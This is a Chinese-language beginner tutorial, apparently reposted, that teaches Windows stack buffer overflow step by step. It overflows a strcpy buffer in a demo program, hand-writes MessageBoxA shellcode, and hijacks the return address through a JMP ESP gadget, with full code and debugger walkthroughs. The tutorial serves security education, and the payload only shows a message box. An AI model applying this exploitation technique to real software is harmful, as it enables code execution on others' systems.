WINDOWS平台下的棧溢出攻擊從0到1(篇幅略長但非常值得一看)


Stack Buffer Overflow On Windows Part 1
1.介紹
本篇文章旨在帶領學習二進制安全的新手朋友在Stack Buffer OverflowWindows上的技術實現從01的這個過程。
筆者也希望能夠通過這些技術分享幫助更多的朋友走入到二進制安全的領域中。
2.文章拓撲
由於本篇文章的篇幅略長,所以筆者在這里放一個文章的拓撲,讓大家能夠在開始閱讀文章之前對整個文章的體系架構有一個宏觀的了解。
.\01.介紹
.\02.文章拓撲
.\03.從棧開始
.\04.ESPEBP寄存器與棧
.\05.函數調用與返回
.\06.開始溢出
.\07.深入分析
.\08.如何利用
.\09.獲取API地址
.\10.編寫shellcode
.\11.利用失敗
.\12.獲取JMP ESP地址
.\13.Exploit It
.\14.結語
3.從棧開始
我們在文章的最開頭先來引入一些基本的概念,也是后面成功理解這種漏洞的一些必要概念。
首先,就是這個“棧”。棧其實是一種數據結構,它遵從先進后出的原則。這個先進后出的意思也很簡單,就是說先存儲進去的數據,會被放在最里邊,而后面存入的,則依次向外,所以最先進去的,最后才能出來。
我們還是給一張圖,幫助大家理解。但是呢,這個圖是筆者自己用微軟的畫圖軟件畫的,希望大家不要吐槽,畢竟能吐槽的地方太多了。

 

通過這張圖,相信大家也能夠更加容易的理解棧這個東西了。
4.ESPEBP寄存器與棧
接下來,我們來聊一聊ESPEBP寄存器和棧之間的一些關系。我們這次通過實驗來學習這個知識,同時通過這個實驗也可以加強大家對棧的理解。
我們使用這樣一個程序來觀察棧與ESPEBP寄存器的關系:

[C++]  純文本查看 復制代碼
?
01
02
03
04
05
06
07
08
09
10
11
12
13
#include “stdAfx.h”
int main()
{
     _asm{
         mov eax,0x41414141
         mov ebx,0x61616161
         push eax
         push ebx
         pop eax
         pop ebx
     }
     return 0;
}


zusheng:
解釋一下上面這段代碼的意思,_asm很簡單就是使用匯編代碼。
mov eax,0x41414141 這段代碼是將十六進制數據0x41414141賦值給寄存器eax。
mov ebx,0x61616161 這段代碼是將十六進制數據0x61616161賦值給寄存器ebx。
push eax 把eax寄存器中的內容入棧。push ebx 把ebx寄存器中的內容入棧。
pop eax 出棧操作,從棧中取出一個值賦給寄存器eax。
PS:上面文章介紹到了出棧只有一個出口,只能從下往上一個個有序的出去,而入棧操作也只能從上而下一個個進來。所以當前出站的數據就是在棧頂的數據,也就是前面十六進制數據0x61616161並且賦值給了寄存器eax。
pop ebx 出棧操作,從棧中取出一個值賦給寄存器ebx。



將這個程序編譯成EXE文件后(該EXE文件在文末提供下載),我們使用IDA來載入這個程序,找到main函數的位置,如圖:

 

可以看到地址是00401010,我們使用Immunity debugger來進行動態分析,載入程序,跳到main函數:

 

找到我們的內聯匯編,如圖:

 

我們在第一個指令處下一個斷點,也就是00401028下斷,F9過去。我們步過兩條MOV指令,來到00401032,也就是第一個push的地方。我們注意觀察ESP寄存器的值,此時是0012FF34,如圖

 

接着,我們步過,入棧一個數據,如圖:

 

注意ESP

 

0012FF34變成了0012FF30,也就是每次PUSH,我們的ESP寄存器都會做如下操作:
ESP = ESP - 4
ESP其實是指向棧頂的,棧頂也就是我們棧的唯一出口,任何是后執行POP指令都是把在棧頂的數據出棧。那我們提到的另一個寄存器,可想而知就是指向棧底的了,也就是EBP寄存器。
我們來看看當前EBP寄存器指向什么地方:

 

可以看到是0012F80,也就是說,當前的棧的區域就是從0012FF300012FF80的這段內存所構成的。
出棧和入棧都是從棧頂出入,當數據進入棧的話指向棧頂的ESP就得減4,而數據入棧則是ESP4

5.函數調用與返回
我們還是拿個Demo來說事(同樣會在文末提供下載),代碼如下:

[C++]  純文本查看 復制代碼
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
#include "stdafx.h"
#include "stdio.h"
 
void test( int a, int b, int c)
{
         printf ( "%d,%d,%d" ,a,b,c);
}
int main()
{
         test(1,2,3);
         _asm{
                 mov eax,0x41414141
         }
         return 0;
}


我們還是用IDA來確定main函數的位置:

 

通過兩次交叉引用找到了main函數,我們記下地址00401080,我們用Immunity Debugger來加載程序,跳到這個地址:

 

Stack Buffer Overflow On Windows.part11801.png (19.91 KB, 下載次數: 2)

下載附件  保存到相冊

2017-1-13 12:49 上傳



可以看到我們用內聯匯編留的標志,那么上面這個在0040109E處的CALL就是CALLtest()函數了。
我們可以看到調用test()函數的過程如下:

 

首先是PUSH參數進棧,顯示3,然后是2,然后是1。我們回過頭來看C代碼:

[C++]  純文本查看 復制代碼
?
1
test(1,2,3);


我們不是先傳的1,最后傳的3嗎?這是因為這個函數的調用約定是stdcallstdcall調用約定的函數的參數都是從右到左依次入棧的。這就是關於調用,我們需要了解的。
接着,我們先來聊一個簡單的問題。
我們在C語言的所謂的函數,其實就是子程序而已。也就說,我們調用函數,其實就是讓程序從主程序,也就是main調到子程序中去執行子程序的代碼。
但是我們來看下圖這個程序:

 

我們在main中調用了doSomething()子程序,當doSomething子程序執行完后就會回到main函數,繼續執行printf()對吧?
那我們接下來的注意力就要放到這個函數返回上了,也就是我們的函數具體是如何返回的。
我們繼續使用Demo2.exe來調,剛才我們已經來到了main函數,接着,我們在CALL test之前斷下,F9過去,我們來看當前的棧頂:

 

就是我們的三個參數,最底下是第一個PUSH進去的,我們接下來進入這個CALL注意棧窗口。按下F7,如圖:

 

可以看到當前的棧頂存儲這004010A3,這個地址是什么?我們跳過去看看,但是在跳過去之前最好記下當前地址,也就是00401005,如圖:

 

我們有了記錄就能放心大膽的跳到當前棧頂的那個地址了,如圖:

 

看到這里,仿佛已經對於函數返回的細節有了一個了解。
我們回到test函數內部,也就是我們記錄的地址:

 

可以看到就是JMP00401020,我們F8過去,如圖:

 

如此,我們就跳入了test函數中了,我們不用關心其他細節,往下翻,翻到test函數的retn指令,如圖:

 

我們在這個retn上面下斷,F9過來,注意觀察棧窗口,如圖:

 

我就問你,此時的棧頂是什么?是不是很熟悉的感覺,不確定的朋友跳過去看看。
到這里,我們幾乎感覺真相已經浮出水面了,接下來就是最后一點了。
我們截圖保存當前的寄存器情況,如圖:

 

然后,步過retn,對比前后的寄存器情況,如圖:

 

可以看到,其實retn指令的操作就是將retn時的棧頂的數據出棧到EIP寄存器,用偽代碼表示就是:
pop eip
而這個在retn時處於棧頂的數據,我們一般稱它為“返回地址”。
這個概念呢,希望大家好好揣摩,這對於我們的棧溢出的利用是相當重要的。
6.開始溢出
接下來,我們就開始來學習Stack Buufer Overflow。首先,我們依然准備了一個Demo(依然會在文后提供下載),代碼如下:

[C++]  純文本查看 復制代碼
?
01
02
03
04
05
06
07
08
09
10
11
#include "stdAfx.h"
#include "string.h"
 
char exp [] = "ABCDEFGH" ;
 
int main()
{
         char buffer[8];
         strcpy (buffer, exp );
         return 0;
}


我們后面的實驗也均在這個源文件的基礎上進行修改,我們編譯通過之后運行,無任何問題,為什么呢?
因為這個程序本就沒有問題,我們可以看到exp字符數組的長度是8,而buffer也是,自然能夠存下。
接下來,我們修改源文件的exp數組,改成:

[C++]  純文本查看 復制代碼
?
1
char exp [] = "ABCDEFGHAAAAAAAAAAAA" ;


在后面加十個A,這樣的話,buffer數組自然就沒法存下了,我們編譯運行,如圖:

 

我就想問一下,這個0x41414141是什么啊?別告訴我你不知道?其實0x41是字符AASCII碼,也就是說,我們的exp數組里的十個A對我們的程序做了什么不為人知的事情,那怎么辦呢?
很簡單,調試嘛,我們還是用IDAImmunity Debugger配合,來分析發生了什么神奇的事情。
我們首先使用IDA找出出該程序的main函數的地址,如圖:

 

就是00401010,我們用Immunity Debugger載入,跳到這個地址,如圖:

 

然后,我們在main函數開頭下個斷點,F9過來,然后一直單步步過,直到retn我們都未發現異常,如圖:

 

但是,此時,我們來看我們的retn時的棧頂:

 

bingo!返回地址被覆蓋了,被覆蓋成了41414141,也就是說此時返回的話EIP會指向41414141處,調到這個地方去執行代碼,我們跳一下看看:

 

可以看到EIP果然不計后果的指向了41414141,但是該片內存什么都沒有。所以導致了如下錯誤:

 

這下知道發生了什么了吧。這也是Stack Overflow的利用點——覆蓋返回地址。
7.深入分析
經過上面的分析,我們只是從表面上了解了是我們的exp數組的長度超過了buffer的長度,導致多出來的A覆蓋到了關鍵的返回地址,導致程序在返回的時候跳到了41414141這個地址。
但是,我們還是不清楚這其中發生了什么。於是,我們還應該對這個過程進行更加深入的分析。我們可以點擊Immunity Debuggerdebug-restart來重新分析。Restart之后我們再次跳到00401010,如圖:

 

我們把關注點放到strcpy函數上,因為正是strcpyexp的值塞進buffer里的,所以,我們應該關注strcpy函數,如圖:

 

我們在這里下一個斷點,F9過來,觀察函數的參數:

 

根據我們之前學習的stdcall的函數調用約定來看,當前棧頂的數據就是調用strcpy函數的第一個參數,下面則是第二個參數。
也就是說,是要將00422310這個地址的數據放入0012FF78這個空間中,那么,我們就應該將注意放到0012FF78這個地址上了,我們將這個地址放在數據窗口中跟隨,如圖:

 

接着,我們單步步過strcpyCALL,看0012FF78的內存:

 

可以看到,這段內存已經被我們的41淹沒了,此時,我們再次restart,再次來到main函數的第一條指令,觀察棧窗口,如圖:

 

可以看到0012FF84的位置就存儲着我們的main函數的返回地址,然而,strcpy過后這個位置存儲的數據已經成了如下圖這樣:

 

這就是這個程序的情況了,也就是說我們得從0012FF78一直覆蓋到0012FF80就到了返回地址,后面的四個字節就是返回地址了。
所以,我們的exp數組的前8個字節填充buffer,跟着的4個字節覆蓋到返回回地址之前,最后四個字節自然就是返回地址。
如此,我們就能隨意的控制main函數返回的地址了。例如,我們讓函數返回到66666666這個地址,就只需要將exp改為:

 

我們可以試試看,如圖:

 

嘿嘿,和我們預想的一樣,成功將返回地址覆蓋為了66666666
8.如何利用
接下來到了學習漏洞最有趣的環節,HOW TO EXPLOIT?嘿嘿,只要解決這個問題,我們就能通過漏洞來做些EVIL的事情了。
我們首先思考一下,目前,我們能夠控制EIP指向我們想要的任意地址,可以沒有地址上有我們想要的代碼啊。
怎么辦呢?其實辦法還是有的,這些辦法都是來自於前人的總結(向開拓者致敬!)
先說下最簡單的辦法,我們先回想一下,我們可以控制的可不止是EIP,我們連控制EIP都是間接的基於棧來控制的,其實我們能夠直接控制的是棧。
我們可以進行如下布局,如圖:

 

直接在返回地址下面放置我們的shellcode覆蓋返回地址為我們shellcode的起始地址。
這樣的話,在main函數返回的時候,就能跳到我們的shellcode中執行我們的shellcode了。
9.獲取API地址
目前,我們已經解決了如何Exploit的問題,那么現在的當務之急就是獲取APIDLL中的地址,因為這個東西是我們編寫shellcode所必備的東西。
那么我們就可以使用這樣一個程序來獲取,代碼如下:
/*對於這個程序的實現死宅在這里特別感謝k0shlIEEE.兩位大牛。由於死宅的C語言很菜,
而且國內網上的資料坑人。很多地方都不是很明白,在這樣的時刻是k0shlIEEE這兩位
樂於助人的大牛為死宅講了函數指針和兩個API的用法。感謝。*/

[C++]  純文本查看 復制代碼
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include "stdafx.h"
#include "windows.h"
#include "stdio.h"
 
void Usage()
{
         char *syb = "=" ;
         char tag[60];
         for ( int i=0;i<60;i++)
         {
                 tag = *syb;
         }
         printf ( "%s" ,tag);
         printf ( "\nAPIGeter\n[Author]bbs.ichunqiu.com\n[Usage]APIGeter [DLLName] [APIName]\n" );
         printf ( "%s" ,tag);
}
 
int main( int argc, char * argv[])
{
         if (argc!=3)
         {
                 Usage();
                 return 1;
         }
         HINSTANCE DLLAddr = LoadLibrary(argv[1]);
         DWORD APIAddr = ( DWORD )GetProcAddress(DLLAddr,argv[2]);
 
         printf ( "[APIGeter]Welcome to use the APIGeter\n[Author]bbs.ichunqiu.com\n" );
 
         printf ( "DLL-Name:%s\nAddress:0x%x\n" ,argv[1],DLLAddr);
         printf ( "API-Name:%s\nAddress:0x%x\n" ,argv[2],APIAddr);
 
         return 0;
}


很簡單的東西,但是卻坑了死宅半天。
有了這個小工具——APIGeter(文末放出下載),大家再也不用怕C語言不好了。
直接如下圖:


 

就能輕松的獲取API的地址了。
關於這個程序,相信會C語言的朋友都能看懂了(網上的代碼用函數指針,不知道作者怎么想的)
10.編寫shellcode
接下來,我們要做的就是編寫shellcode了。筆者給大家選取了一種較為簡單的方式進行編寫。
就是使用內聯匯編,我們只需要在vs中用_asm{}把匯編代碼寫進去就可以了,首先,我們使用APIGeter獲取MessageBoxAuser32.dll中的地址,是0x77d507ea,如圖:

 

然后我們寫這樣一個程序,代碼如下:

[C++]  純文本查看 復制代碼
?
01
02
03
04
05
06
07
08
09
10
11
#include "stdafx.h"
#include "windows.h"
 
int main()
{
         LoadLibrary( "user32" );
         _asm{
                 //assembly code
         }
         return 0;
}


先解釋一下,如果不LoadLibrary的話,這個DLL是不會鏈接到我們程序的,從而無法調用MessageBoxA這個API
當然,其實也有辦法可以在DLL未被鏈接的時候導入的,但是這個就留在后面來說。在這里,死宅為了降低實驗的難度,所以就在源程序中就Load了我們需要的DLL
然后就是用匯編來寫了,代碼如下:

[Asm]  純文本查看 復制代碼
?
01
02
03
04
05
06
07
08
09
10
xor ebx , ebx       ;ebx = 00000000
push ebx               ;入棧ebx
push 0x4b434148       ;入棧字符串HACK
mov eax , esp               ;把當前棧頂的地址給eax
push ebx                       ;入棧NULL
push eax                       ;入棧字符串HACK\NULL
push eax                       ;同上
push ebx                       ;入棧NULL
mov eax ,0x77d507ea       ;將MessageboxA的地址給eax
call eax               ;call MessageBoxA


然后代碼就成了這樣:

[C++]  純文本查看 復制代碼
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
#include "stdafx.h"
#include "windows.h"
 
int main()
{
         LoadLibrary( "user32" );
         _asm{
                 xor ebx,ebx
                 push ebx
                 push 0x4b434148
                 mov eax,esp
                 push ebx
                 push eax
                 push eax
                 push ebx
                 mov eax,0x77d507ea
                 call eax
         }
         return 0;
}


編譯運行一下:

 
但是當我們點擊確定之后,如圖:

 

一個錯誤出來了,這是因為我們的程序沒能正常的退出,所以,我們還需要ExitProcess這個API,我們使用APIGeter搜一下:

 

可以看到是0x7c81d20a。我們記錄一下,加入這段匯編:

[C++]  純文本查看 復制代碼
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
xor eax,eax        ;eax清零
push eax                ;入棧0
mov eax,0x7c81d20a        ;通過eax間接調用ExitProcess
call eax        ;上面說了
綜合一下,代碼如下:
#include "stdafx.h"
#include "windows.h"
 
int main()
{
         LoadLibrary( "user32" );
         _asm{
                 xor ebx,ebx
                 push ebx
                 push 0x4b434148
                 mov eax,esp
                 push ebx
                 push eax
                 push eax
                 push ebx
                 mov eax,0x77d507ea
                 call eax
                 xor eax,eax
                 push eax
                 mov eax,0x7c81d20a
                 call eax
         }
         return 0;
}


然后編譯運行就沒問題了,接下來,我們要做的就是提取shellcode
我們使用VC來提取shellcode,我們在LoadLibrary處下一個斷點,然后Go,被斷下。
然后右鍵-Go To Disassembly,如圖:

 

來到反匯編窗口,可以看到我們的匯編代碼就在這里,如圖:

 

0040103C開始的,接着,我們點擊右上角的Memory,如圖:

 

就會彈出內存窗口,如圖:

 

我們在上圖的地址的輸入框輸入我們的匯編代碼的開頭的地址0040103C,回車一下:

 

可以看到,我們的shellcode已經在Memory窗口中了,開頭就是33DB53,結尾是什么呢?
我們看一下:


 

可以看到是FFD0,我們在Memory窗口看下:

 

就是這一段,我們將它復制出來(按Ctrl+C),粘貼過來就是如下這樣:
33 DB 53 68 48 41 43 4B 8B C4 53 50 50 53 B8 EA  3hHACKSPPS
0040104C  07 D5 77 FF D0 33 C0 50 B8 0A D2 81 7C FF D0
我們把地址和ASCII碼刪了就是如下這樣:
33 DB 53 68 48 41 43 4B 8B C4 53 50 50 53 B8 EA 07 D5 77 FF D0 33 C0 50 B8 0A D2 81 7C FF D0
我們復制這一段到記事本里,點擊編輯-替換,彈出如下窗口:

 

查找內容輸入一個空格,替換為輸入\x,然后點擊全部替換就成如下這樣了:
33\xDB\x53\x68\x48\x41\x43\x4B\x8B\xC4\x53\x50\x50\x53\xB8\xEA\x07\xD5\x77\xFF\xD0\x33\xC0\x50\xB8\x0A\xD2\x81\x7C\xFF\xD0
但是還有一點問題,就是在開頭的第一個機器碼的33前面還沒有\x,我們給它加上,就成了完整的shellcode,如下:
\x33\xDB\x53\x68\x48\x41\x43\x4B\x8B\xC4\x53\x50\x50\x53\xB8\xEA\x07\xD5\x77\xFF\xD0\x33\xC0\x50\xB8\x0A\xD2\x81\x7C\xFF\xD0
11.利用失敗
我們已經得到了親愛的shellcode,現在就可以開始利用這個漏洞了。
我們修改前面的溢出代碼來繼續實驗,前面的溢出代碼如下:

 

main函數里增加一句LoadLibrary(user32)來鏈接user32.dll方便調用MessageBoxA。然后包含windows.h頭文件。最后修改exp就行了,給exp的結尾處連上我們的shellcode,如圖:

 

然后,我們放入IDA獲取main函數的起始地址,然后用Immunity Debugger來調到起始地址,如圖:

 

我們運行到main函數的第一行代碼處,觀察棧窗口:

 

可以看到0012FF84的位置存儲着main函數的返回地址,這也是strcpy后會被66666666淹沒的位置。我們在數據窗口中跟隨。
然后找到strcpyCALL,如圖:

 

我們在這里斷下,然后F9過來,然后步過這個CALL,看數據窗口,
看到了我們的shellcode吧,已經進入我們的程序了以33DB開頭FFD0結尾。開始的地址是0012FF88。我們在反匯編窗口看一下,程序對不對,
可以看到,我們的shellcode安然無恙的放在了0012FF88這個地址處,我們接下來要做的就是修改66666666這個返回地址為0012FF88來在main函數返回的時候執行我們的shellcode
修改過后,我們的exp數組就成下面這樣了:

[C++]  純文本查看 復制代碼
?
1
2
3
4
5
6
7
char exp [] = "AAAAAAAA" //buffer
                      "AAAA" //before return address
                      "\x88\xFF\x12\x00" //return address
                      "\x33\xDB\x53\x68\x48\x41\x43\x4B"
                      "\x8B\xC4\x53\x50\x50\x53\xB8\xEA"
                      "\x07\xD5\x77\xFF\xD0\x33\xC0\x50"
                      "\xB8\x0A\xD2\x81\x7C\xFF\xD0" ; //shellcode


反序是因為是小端字節序。我們編譯運行,
what!我們的MessageBox呢!?我們的ExitProcess呢!?
這是發生了什么!?
其實這是典型的BadCode問題,我們的strcpy函數在遇到\x00的時候就會停止copy了,而我們的exp數組卻因為要覆蓋返回地址為0012FF88而使用了00。
所以被截斷了(玩WEB的小伙伴就更清楚了,00截斷,嘿嘿),那怎么辦呢?
我們搞了那么半天,居然不能成功嗎!?
自然不是,死宅說了那么大一堆還不是為了引出下文,嘿嘿。
我們來說第二種利用方式,也就是使用jmp esp指令來跳入shellcode,使得我們的shellcode執行。
這是什么原理呢?我們其實可以來看一下一個正常的程序在retn之后的第一條指令的位置的時候,ESP是什么。
我們使用我們的第一個測試程序來看,我們來到測試程序的main函數的最后一行指令,也就是retn這個地方,斷下,F9過來,觀察ESP的值和棧

我們可以看到此時的ESP指向0012FF84,棧頂正是返回地址。
然后,我們返回,來到00401189處,看此時的ESP和棧可以看到,和我們最前面說的一樣retn就相當於pop eip
而每一個pop指令都會時ESP4。而此時ESP+4的位置也是我們可控的,所以只要在內存中找到一處存儲這JMP ESP指令的地址就可以了。到時候把返回地址覆蓋成JMP ESP的地址,在retn后就會執行JMP ESP,而那時候的ESP的位置正好是我們可控的。
這就是JMP ESP執行惡意代碼的原理。
12.獲取JMP ESP的地址
接下來,我們要做的事情就是獲取JMP ESP的地址,我們還是寫一個程序來實現,這個簡單的過程。
下面的代碼就能實現在User32.dll中搜索Jmp Esp的地址(從網上找到的):

[C++]  純文本查看 復制代碼
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include "stdAfx.h"
#include "windows.h"
#include "stdio.h"
#include "stdlib.h"
   
int main() 
         BYTE *ptr; 
         int position; 
         HINSTANCE handle; 
         BOOL done_flag = FALSE; 
         handle = LoadLibrary( "user32.dll" ); 
         if (!handle) 
        
                 printf ( "load dll error!" ); 
                 exit (0); 
        
         ptr = ( BYTE *)handle; 
   
         for (position = 0; !done_flag; position++) 
        
                 try 
                
                         if (ptr[position]==0xFF && ptr[position+1]==0xE4) 
                        
                                 int address = ( int )ptr + position; 
                                 printf ( "OPCODE found at 0x%x\n" , address); 
                        
                
                 catch (...) 
                
                         int address = ( int )ptr + position; 
                         printf ( "END OF 0x%x\n" , address); 
                         done_flag = true
                
        
         getchar (); 
         return 0; 
}


原理很簡單,就是從Loaduser32.dll的起始地址往后搜索JMP ESP的機器碼,搜到就顯示出來,直到出現異常才停止搜索。
這是網上的代碼,此處也給出一個工具——SearchTransfer(死宅自己寫的辣雞工具,就不拿來丟人現眼了,文末放出下載)
我們使用SearchTransfer來搜索位於user32.dllJMP ESP地址,
搜到很多,隨意找個地址,比如第一個0x77d29353。由於是小端的字節序所以倒過來就是\x53\x93\xd2\x77
13.Exploit It
現在,我們已經有了JMP ESP的地址了,接下來就覆蓋返回地址為\x53\x93\xd2\x77吧,嘿嘿。
我們修改exp如下:

[C++]  純文本查看 復制代碼
?
1
2
3
4
5
6
7
char exp [] = "AAAAAAAA" //buffer
                     "AAAA" //before return address
                     "\x53\x93\xd2\x77" //return address
                     "\x33\xDB\x53\x68\x48\x41\x43\x4B"
                     "\x8B\xC4\x53\x50\x50\x53\xB8\xEA"
                     "\x07\xD5\x77\xFF\xD0\x33\xC0\x50"
                     "\xB8\x0A\xD2\x81\x7C\xFF\xD0" ; //shellcode


編譯,運行,如下成功了!
我們來用Immunity Debugger來分析一下,一切是否和我們預想的一樣。
Immunity Debugger載入,來到main函數依然是我們熟悉得不能在熟悉的一切,看下當前的棧頂,也就是返回地址返回地址存在0012FF84的位置,目前的值為00401279,數據窗口跟隨。
來到strcpyCALL,斷下,F8步過,看數據窗口到目前為止,一切都和我們預想的一樣。接着來到retn,看ESP和棧:

此時retn就會跳到77D29353處,然后ESP應該加4指向0012FF88,我們步過retn

這個地址確實是JMP ESP
然后看ESP

確實是加4了,而此時的ESP就是shellcode的地址,F8就跳到了shellcode

這就是Stack Overflow的從分析到利用的過程了。
14.結語
其實講真的,寫這篇文章真的很累,我在WORD里面是整整26頁,過程中要在調試的同時截圖,想措辭,這樣寫了一整天,從早上起床到晚上睡覺,真的非常的累。
但是,同時也非常值得,因為這篇文章將幫助很多人實現二進制安全從0到1的過程。
每一次成功的彈出MessageBox的時候,都值得我們銘記。
但是,絕對不能自滿,因為做技術的必須要懂得敬畏。這樣才能不忘初心,也才能方得始終。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM